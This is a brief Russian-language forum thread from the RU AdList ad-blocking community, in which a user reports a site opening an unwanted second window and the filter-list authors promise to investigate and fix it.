Если дудлы утомили - Google No Doodles
logan344
Postaholic
Postaholic
Posts: 1235
Joined: Sat Dec 02, 2017 11:12 am

Post by logan344 »

Ну что там? У Лейна повторяется проблема? Может я вам просто данные для входа отправлю а вы в подписку правило добавите что бы второе окно с новостью не открывалось.
ublock origin 1.23.0(ruadlist,adguard annoyances/tracking, ublock filters/unbreak,easylist)
User avatar
dimisa
RU AdList Author
RU AdList Author
Posts: 9792
Joined: Tue Dec 01, 2015 5:24 pm

Post by dimisa »

Только сейчас написал Лэйну, он посмотрит, в подписку там или в фиксы.
Если дудлы утомили - Google No Doodles
User avatar
Lain_13
RU AdList Author
RU AdList Author
Posts: 1041
Joined: Fri Aug 20, 2010 11:20 am

Post by Lain_13 »

Наконец добрался, проблему наблюдаю. Думаю сегодня поправлю.
Я правильно понимаю, что ссылка загружается как в новом, так и в предыдущем окне? А то из описания проблемы не совсем ясно и я сначала подумал, что у вас новое окно дважды открывается.
Post Reply